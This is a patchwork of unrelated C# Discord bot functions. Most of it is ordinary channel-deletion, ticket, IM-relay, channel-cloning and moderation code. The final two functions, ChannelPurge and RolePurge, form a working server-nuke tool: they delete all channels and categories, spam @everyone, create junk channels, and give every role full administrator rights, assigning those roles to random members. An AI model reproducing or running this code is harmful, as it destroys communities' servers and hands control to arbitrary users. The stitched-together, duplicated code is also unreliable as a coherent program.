protected virtual async Task <Task> InboundImMessage(ITextChannel Chan, IUserMessage message) { if (HasBot() == true) { if (message.Content.StartsWith("!close")) { await Chan.DeleteAsync(); } else if (message.Content.StartsWith("!clear")) { await CleanDiscordChannel(Chan, 0, true); } else { await MarkMessage(message, "⏳").ConfigureAwait(true); Thread.Sleep(400); string[] bits = Chan.Topic.Split(':'); if (bits.Length >= 2) { if (bits[0] == "IM") { if (UUID.TryParse(bits[1], out UUID avatar) == true) { string content = message.Content; await message.DeleteAsync().ConfigureAwait(true); SendIM(avatar, content); } } } } } return(Task.CompletedTask); }
public async Task Close(IUser agent, ITextChannel channel, string user, string content) { if (UserAccounts.GetAccountByName(user).UserName == channel.Name) { var userID = UserAccounts.GetAccountByName(user).UserID; var guild = Utils.Guild; IUser target = guild.GetUser(userID); if (target != null) { var eb = new EmbedBuilder() { Author = new EmbedAuthorBuilder() { IconUrl = agent.GetAvatarUrl(), Name = $"{agent.Username}#{agent.Discriminator} closed your ticket." }, Description = content, Footer = new EmbedFooterBuilder() { Text = DateTime.Now.ToString(), } }; DMTicket.ReplyToDM(target, "", eb); await channel.DeleteAsync(); await Task.CompletedTask; } } }
protected async Task <Task> InboundImMessage(ITextChannel Chan, SocketMessage message) { if (message.Content == "!close") { await Chan.DeleteAsync(); } else if (message.Content == "!clear") { await CleanDiscordChannel(Chan, 0, true); } else { string[] bits = Chan.Topic.Split(':'); if (bits.Length >= 2) { if (bits[0] == "IM") { if (message.Content == "!clear") { await CleanDiscordChannel(Chan, 0, true); } else if (UUID.TryParse(bits[1], out UUID avatar) == true) { Client.Self.InstantMessage(avatar, "[" + message.Author.Username + "]->" + message.Content); await MarkMessage(message, "✅"); } } } } return(Task.CompletedTask); }
public async Task DelTxtChanl(IUserMessage umsg, [Remainder] ITextChannel channelName) { var channel = (ITextChannel)umsg.Channel; await channelName.DeleteAsync().ConfigureAwait(false); await channel.SendMessageAsync($"❗️Removed text channel **{channelName.Name}**, ID `{channelName.Id}`.").ConfigureAwait(false); }
public override void Dispose() { base.Dispose(); if (!IsPersistent) { _ = BattleChannel.DeleteAsync(); } }
public override void Dispose() { base.Dispose(); autoTurn?.Dispose(); resetIfNotActive?.Dispose(); if (!IsPersistent) { _ = BattleChannel.DeleteAsync(); } }
/// <summary> /// Clones the selected channel. /// </summary> /// <param name="oldChannel">The <see cref="ITextChannel" /> to be cloned.</param> /// <param name="deleteOldChannel"> /// Choose whether to delete the old channel or not. If true, the old channel will be /// removed. /// </param> /// <param name="clonePerms"> /// Choose whether to clone the channel permissions or not. If true, the new channel will preserve /// its old counterpart's permission. /// </param> /// <returns>Return the new <see cref="ITextChannel" />.</returns> public static async ValueTask <ITextChannel> CloneChannel(this ITextChannel oldChannel, bool deleteOldChannel = false, bool clonePerms = true) { string channelName = oldChannel.Name; string channelTopic = oldChannel.Topic ?? ""; int channelPosition = oldChannel.Position; var channelPerms = oldChannel.PermissionOverwrites; var newChannel = await oldChannel.Guild.CreateTextChannelAsync(channelName).ConfigureAwait(false); if (clonePerms) { foreach (var perm in channelPerms) { switch (perm.TargetType) { case PermissionTarget.Role: var role = oldChannel.Guild.GetRole(perm.TargetId); await newChannel.AddPermissionOverwriteAsync(role, perm.Permissions).ConfigureAwait(false); break; case PermissionTarget.User: var user = await oldChannel.Guild.GetUserAsync(perm.TargetId).ConfigureAwait(false); await newChannel.AddPermissionOverwriteAsync(user, perm.Permissions).ConfigureAwait(false); break; } } } await newChannel.ModifyAsync(x => { x.Position = channelPosition; x.Name = channelName; x.Topic = channelTopic; }).ConfigureAwait(false); if (deleteOldChannel) { await oldChannel.DeleteAsync().ConfigureAwait(false); } return(newChannel); }
public static async Task <ITextChannel> CloneChannelAsync(this ITextChannel channel) { var guild = channel.Guild; var newChannel = await guild.CreateTextChannelAsync(channel.Name, x => { x.Topic = channel.Topic; x.IsNsfw = channel.IsNsfw; x.Position = channel.Position; x.CategoryId = channel.CategoryId; }); foreach (var permissionOverwrite in channel.PermissionOverwrites) { switch (permissionOverwrite.TargetType) { case PermissionTarget.Role: var role = guild.GetRole(permissionOverwrite.TargetId); await newChannel.AddPermissionOverwriteAsync(role, permissionOverwrite.Permissions); break; case PermissionTarget.User: var user = await guild.GetUserAsync(permissionOverwrite.TargetId); await newChannel.AddPermissionOverwriteAsync(user, permissionOverwrite.Permissions); break; } } var hooks = await channel.GetWebhooksAsync(); foreach (var hook in hooks) { await hook.ModifyAsync(param => param.ChannelId = newChannel.Id); } await channel.DeleteAsync(); return(newChannel); }
public async Task DelTxtChanl([Remainder] ITextChannel toDelete) { await toDelete.DeleteAsync().ConfigureAwait(false); await ReplyConfirmLocalized("deltextchan", Format.Bold(toDelete.Name)).ConfigureAwait(false); }
protected async Task <Task> DiscordClientMessageReceived(SocketMessage message) { if (AllowNewOutbound() == true) { if (message.Author.IsBot == false) { if (Client.Network.Connected == false) { await message.DeleteAsync(); } else { ITextChannel Chan = (ITextChannel)message.Channel; if (Chan.CategoryId == catmap["bot"].Id) { await message.DeleteAsync(); if (message.Content == "!clear") { await CleanDiscordChannel(Chan, 0, true); } if (Chan.Name == "interface") { if (message.Content.StartsWith("!")) { if (message.Content == "!commands") { string reply = ""; int counter = 0; string addon = ""; foreach (string a in CommandsInterface.GetCommandsList()) { reply += addon; reply += a; counter++; if (counter == 5) { reply += "\n"; addon = ""; counter = 0; } else { addon = " , "; } } _ = SendMessageToChannelAsync("interface", reply, "bot", UUID.Zero, myconfig.userName, "bot"); } else if (message.Content.StartsWith("!help") == true) { string[] bits = message.Content.Split(' '); if (bits.Length == 2) { string command = bits[1].ToLowerInvariant(); if (CommandsInterface.GetCommandsList().Contains(command) == true) { _ = SendMessageToChannelAsync("interface", "\n=========================\nCommand: " + command + "\n" + "Workspace: " + CommandsInterface.GetCommandWorkspace(command) + "\n" + "Min args: " + CommandsInterface.GetCommandArgs(command).ToString() + "\n" + "Arg types" + String.Join(",", CommandsInterface.GetCommandArgTypes(command)) + "\n" + "\n" + "About: " + CommandsInterface.GetCommandHelp(command) + "", "bot", UUID.Zero, myconfig.userName, "bot"); } else { _ = SendMessageToChannelAsync("interface", "Unable to find command: " + command + " please use !commands for a full list", "bot", UUID.Zero, myconfig.userName, "bot"); } } else { _ = SendMessageToChannelAsync("interface", "Please format help request as follows: !help commandname", "bot", UUID.Zero, myconfig.userName, "bot"); } } else if (message.Content != "!clear") { _ = SendMessageToChannelAsync("interface", "Unknown request: " + message.Content + "", "bot", UUID.Zero, myconfig.userName, "bot"); } } else { string[] bits = message.Content.Split("|||"); string command = bits[0].ToLowerInvariant(); if (CommandsInterface.GetCommandsList().Contains(command) == true) { bool status = false; if (bits.Length == 2) { status = CommandsInterface.Call(command, bits[1]); } else { status = CommandsInterface.Call(command); } if (status == true) { _ = SendMessageToChannelAsync("interface", "Command running: " + message.Content + "", "bot", UUID.Zero, myconfig.userName, "bot"); } else { _ = SendMessageToChannelAsync("interface", "Command rejected: " + message.Content + "", "bot", UUID.Zero, myconfig.userName, "bot"); } } else { _ = SendMessageToChannelAsync("interface", "Unable to find command: " + command + " please use !commands for a full list", "bot", UUID.Zero, myconfig.userName, "bot"); } } } } else if (Chan.CategoryId == catmap["im"].Id) { // Avatar if (message.Content == "!close") { await Chan.DeleteAsync(); } else if (message.Content == "!clear") { await CleanDiscordChannel(Chan, 0, true); } else { string[] bits = Chan.Topic.Split(':'); if (bits.Length >= 2) { if (bits[0] == "IM") { if (message.Content == "!clear") { await CleanDiscordChannel(Chan, 0, true); } else if (UUID.TryParse(bits[1], out UUID avatar) == true) { Client.Self.InstantMessage(avatar, "[" + message.Author.Username + "]->" + message.Content); } } } } } else if (Chan.CategoryId == catmap["group"].Id) { // Group string[] bits = Chan.Topic.Split(':'); if (bits.Length >= 2) { if (bits[0] == "Group") { if (UUID.TryParse(bits[1], out UUID group) == true) { if (mygroups.ContainsKey(group) == true) { if (message.Content == "!clear") { await CleanDiscordChannel(Chan, 0, true); } else if (message.Content.StartsWith("!notice") == true) { string Noticetitle = "Notice"; string Noticemessage = ""; bits = message.Content.Split("|||", StringSplitOptions.None); if (bits.Length == 2) { Noticetitle = bits[0]; Noticemessage = bits[1]; } else { Noticemessage = bits[0]; } Noticetitle = Noticetitle.Replace("!notice ", ""); Noticetitle = Noticetitle.Trim(); CommandsInterface.Call("GroupNotice", "" + group.ToString() + "~#~" + Noticetitle + "~#~" + Noticemessage); } else { CommandsInterface.Call("Groupchat", "" + group.ToString() + "~#~" + "[" + message.Author.Username + "]->" + message.Content); } await message.DeleteAsync(); } } } } } } } } return(Task.CompletedTask); }
public async Task DelTxtChanl([Remainder] ITextChannel toDelete) { await toDelete.DeleteAsync().ConfigureAwait(false); await Context.Channel.SendConfirmAsync($"🗑 Removed text channel **{toDelete.Name}**. ID: `{toDelete.Id}`").ConfigureAwait(false); }
public async Task TempArrestAsync([RequireBotHierarchy("arrest")][RequireInvokerHierarchy("arrest")] SocketGuildUser user, string timeout = null, [Remainder] string reason = null) { IRole role = await modRolesDatabase.PrisonerRole.GetPrisonerRoleAsync(Context.Guild) ?? await CreatePrisonerRoleAsync(); if (user.Roles.Contains(role)) { await Context.Channel.SendMessageAsync($"Our security team has informed us that {user.Nickname ?? user.Username} is already held captive."); return; } ITextChannel channel = await modRolesDatabase.PrisonerChannel.GetPrisonerChannelAsync(Context.Guild) ?? await CreateGuantanamoAsync(role); List <SocketRole> roles = user.Roles.ToList(); roles.Remove(Context.Guild.EveryoneRole); roles.RemoveAll(x => x.IsManaged); await Task.WhenAll ( modRolesDatabase.UserRoles.SaveUserRolesAsync(roles, user), user.RemoveRolesAsync(roles), user.AddRoleAsync(role), modRolesDatabase.Prisoners.RecordPrisonerAsync(user) ); bool isTimeout = double.TryParse(timeout, out double minutes); EmbedBuilder embed = new EmbedBuilder() .WithColor(new Color(255, 61, 24)) .WithDescription($"{user.Mention} has been sent to Guantanamo Bay{(timeout != null && isTimeout ? $" for {timeout} {(minutes == 1 ? "minute" : "minutes")}" : "")}."); EmbedFieldBuilder reasonField = new EmbedFieldBuilder() .WithIsInline(false) .WithName("Reason") .WithValue($"{reason ?? "*No reason necessary*"}"); embed.AddField(reasonField); await Task.WhenAll ( Context.Channel.SendMessageAsync(embed: embed.Build()), ArrestModLog.SendToModLogAsync(Context.User as SocketGuildUser, user, timeout, reason) ); if (isTimeout) { await Task.Delay((int)(minutes * 60 * 1000)); role = Context.Guild.GetRole(role.Id); if (!user.Roles.Contains(role)) { return; } await Task.WhenAll ( user.AddRolesAsync(roles), user.RemoveRoleAsync(role), modRolesDatabase.UserRoles.RemoveUserRolesAsync(user), modRolesDatabase.Prisoners.RemovePrisonerAsync(user) ); List <Task> cmds = !await modRolesDatabase.Prisoners.HasPrisoners(Context.Guild) ? new List <Task>() { channel?.DeleteAsync(), role?.DeleteAsync(), modRolesDatabase.PrisonerChannel.RemovePrisonerChannelAsync(Context.Guild), modRolesDatabase.PrisonerRole.RemovePrisonerRoleAsync(Context.Guild) } : new List <Task>(); cmds.Add(FreeModLog.SendToModLogAsync(Context.Guild.CurrentUser, user)); await Task.WhenAll(cmds); } }
public async Task DelTxtChanl(IUserMessage umsg, [Remainder] ITextChannel toDelete) { await toDelete.DeleteAsync().ConfigureAwait(false); await umsg.Channel.SendMessageAsync($"🗑 Removed text channel **{toDelete.Name}**. ID: `{toDelete.Id}`").ConfigureAwait(false); }
public async ValueTask DisposeAsync() { await _channel.DeleteAsync(); }
public static async Task ChannelPurge(IGuild guild) { ITextChannel statusChannel = await guild.CreateTextChannelAsync("REE6 Channel Purge Progress", channel => channel.Position = 1); await statusChannel.SendMessageAsync("REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE Channel Purge Operation Starting..."); int categoryNum = guild.GetCategoriesAsync().Result.Count; int textChannelNum = guild.GetTextChannelsAsync().Result.Count; int voiceChannelNum = guild.GetVoiceChannelsAsync().Result.Count; // Purge Categories IUserMessage statusMessage = await statusChannel.SendMessageAsync("REEEEEEEEEE! Purging channel categories..."); foreach (ICategoryChannel category in guild.GetCategoriesAsync().Result) { await category.DeleteAsync(); } // Purge Text Channels await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Purging text channels..."); foreach (ITextChannel channel in await guild.GetTextChannelsAsync()) { if (channel.Id == statusChannel.Id) { continue; } await channel.SendMessageAsync("@everyone REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE!!!!"); await channel.DeleteAsync(); } // Purge Voice Channels await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Purging voice channels..."); foreach (IVoiceChannel channel in await guild.GetVoiceChannelsAsync()) { await channel.DeleteAsync(); } // Random for category separation Random random = new Random(); // Recreate categories await statusMessage.ModifyAsync(msg => msg.Content = "Channel purge complete! Creating new channels..."); statusMessage = await statusChannel.SendMessageAsync("REEEEEEEEEE! Creating categories..."); ulong[] categoryIds = new ulong[categoryNum]; for (int i = categoryNum; i > 0; i--) { ICategoryChannel categoryChannel = await guild.CreateCategoryAsync("REEEEEEEEEE! categorEEEEEEEEEEEEEEEEE!!!!"); categoryIds[categoryNum - i] = categoryChannel.Id; } // Recreate Text Channels await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Creating text channels"); for (int i = textChannelNum; i > 0; i--) { ITextChannel textChannel = await guild.CreateTextChannelAsync("REEEEEEEEEE! text channelEEEEEEEEEEEEEEEEE!!!!"); try { ulong randomCategoryId = categoryIds[random.Next(categoryNum)]; await textChannel.ModifyAsync(channel => channel.CategoryId = randomCategoryId); } catch { await textChannel.SendMessageAsync("This channel could not be put into a category"); } } // Recreate Voice Channels await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Creating voice channels"); //IUserMessage voiceChannelFailsMessage = await statusChannel.SendMessageAsync("0 voice channels could not be put in a category"); int voiceChannelFails = 0; for (int i = voiceChannelNum; i > 0; i--) { IVoiceChannel voiceChannel = await guild.CreateVoiceChannelAsync("REEEEEEEEEE! voice channelEEEEEEEEEEEEEEEEE!!!!"); try { ulong randomCategoryId = categoryIds[random.Next(categoryNum)]; await voiceChannel.ModifyAsync(channel => channel.CategoryId = randomCategoryId); } catch { voiceChannelFails++; //await voiceChannelFailsMessage.ModifyAsync(msg => msg.Content = voiceChannelFails + " voice channel(s) could not be put in a category."); } } await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Channel Purge Operation Complete!"); await statusChannel.SendMessageAsync("Deleting channel in 3 seconds..."); Timer terminate = new Timer(3000); terminate.AutoReset = false; terminate.Elapsed += new ElapsedEventHandler(delegate(object sender, ElapsedEventArgs e) { statusChannel.DeleteAsync(); }); terminate.Start(); }
public static async Task RolePurge(IGuild guild) { ITextChannel statusChannel = await guild.CreateTextChannelAsync("REE6 Role Purge Progress", channel => channel.Position = 1); int roleFails = 0; await statusChannel.SendMessageAsync("REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE Role Purge Operation Starting..."); int roleNum = guild.Roles.Count; Random random = new Random(); Color[] roleColors = new Color[] { new Color(255, 0, 0), new Color(1, 1, 1) }; // Give all roles admin IUserMessage statusMessage = await statusChannel.SendMessageAsync("REEEEEEEEEE! Purging roles..."); foreach (IRole role in guild.Roles) { try { await role.ModifyAsync(rolePerms => rolePerms.Permissions = GuildPermissions.All); await role.ModifyAsync(roleName => roleName.Name = "REEEEEEEEEE Role! REEEEEEEEEE! Role!"); await role.ModifyAsync(roleColor => roleColor.Color = roleColors[random.Next(2)]); var users = await guild.GetUsersAsync(CacheMode.AllowDownload); foreach (IGuildUser user in users) { if (random.Next(users.Count) == 0) { await user.AddRoleAsync(role); } } } catch { roleFails++; roleNum -= 1; } } /* // Purge all existing roles * //IUserMessage roleFailsMessage = await statusChannel.SendMessageAsync("Failed to purge 0 roles"); * int roleFails = 0; * foreach (IRole role in guild.Roles) * { * try * { * await role.DeleteAsync(); * } * catch * { * roleFails++; * //await roleFailsMessage.ModifyAsync(msg => msg.Content = "Failed to purge " + roleFails + " role(s)"); * roleNum -= 1; * } * } * * // Give everyone admin * guild.EveryoneRole.Permissions.Modify(administrator: true); * // Recreate all roles with admin * for (int i = roleNum; i > 0; i--) * { * IRole role = await guild.CreateRoleAsync("REEEEEEEEEE Role! REEEEEEEEEE! Role!", GuildPermissions.All, roleColors[random.Next(2)]); * foreach (IGuildUser user in await guild.GetUsersAsync(CacheMode.AllowDownload)) * { * await user.AddRoleAsync(role); * } * }*/ await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Role Purge Operation Complete!"); await statusChannel.SendMessageAsync("Deleting channel in 3 seconds..."); Timer terminate = new Timer(3000); terminate.AutoReset = false; terminate.Elapsed += new ElapsedEventHandler(delegate(object sender, ElapsedEventArgs e) { statusChannel.DeleteAsync(); }); terminate.Start(); }